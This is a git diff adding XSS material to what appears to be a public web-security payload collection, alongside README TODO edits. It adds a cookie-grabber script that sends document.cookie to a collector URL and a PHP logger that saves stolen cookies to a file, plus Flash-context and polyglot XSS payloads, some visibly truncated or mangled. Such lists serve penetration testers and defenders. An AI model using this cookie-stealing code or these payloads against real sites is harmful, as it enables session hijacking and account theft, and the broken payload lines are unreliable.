diff --git a/README.md b/README.md
index 00663cc8..12ebef6b 100644
--- a/README.md
+++ b/README.md
@@ -2,8 +2,7 @@
A list of usefull payloads and bypasses for Web Application Security
TODO:
-* XSS
-* Traversal Directory
+* PHP Include
* PHP Serialization
* CSV Injection
@@ -14,5 +13,10 @@ To improve:
* SSRF
* Upload
* Tar command exec
+* Traversal Directory
+* XSS
-# /!\ Work in Progress : 1%
+TODO v2:
+* Remove "_" in dir name
+
+# /!\ Work in Progress : 40%
diff --git a/XSS/Cookie Grabber XSS.php b/XSS/Cookie Grabber XSS.php
new file mode 100644
index 00000000..2058e446
--- /dev/null
+++ b/XSS/Cookie Grabber XSS.php
@@ -0,0 +1,11 @@
+document.location='http://localhost/XSS/grabber.php?c=' + document.cookie
+
+// Write the cookie in a file
+$cookie = $_GET['c'];
+$fp = fopen('cookies.txt', 'a+');
+fwrite($fp, 'Cookie:' .$cookie.'\r\n');
+fclose($fp);
+
+?>
\ No newline at end of file
diff --git a/XSS/Flash XSS.md b/XSS/Flash XSS.md
new file mode 100644
index 00000000..6f83ea0a
--- /dev/null
+++ b/XSS/Flash XSS.md
@@ -0,0 +1,8 @@
+XSS in flash application
+```
+ \%22})))}catch(e){alert(document.domain);}//
+
+ "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
+
+ "a")(({type:"ready"}));}catch(e){alert(1)}//
+```
diff --git a/XSS/Polyglot XSS.md b/XSS/Polyglot XSS.md
new file mode 100644
index 00000000..088e4bb6
--- /dev/null
+++ b/XSS/Polyglot XSS.md
@@ -0,0 +1,19 @@
+Polyglot XSS - 0xsobky
+```
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e
+```
+
+Polyglot XSS - Ashar Javed
+```
+ ">>" >|\>@gmail.com'-->" >">
'">
+```
+
+Polyglot XSS - Mathias Karlsson
+```
+" onclick=alert(1)//|\>@gmail.com'-->" >">
'">
+```
+
+Polyglot XSS - Mathias Karlsson
+```
+" onclick=alert(1)//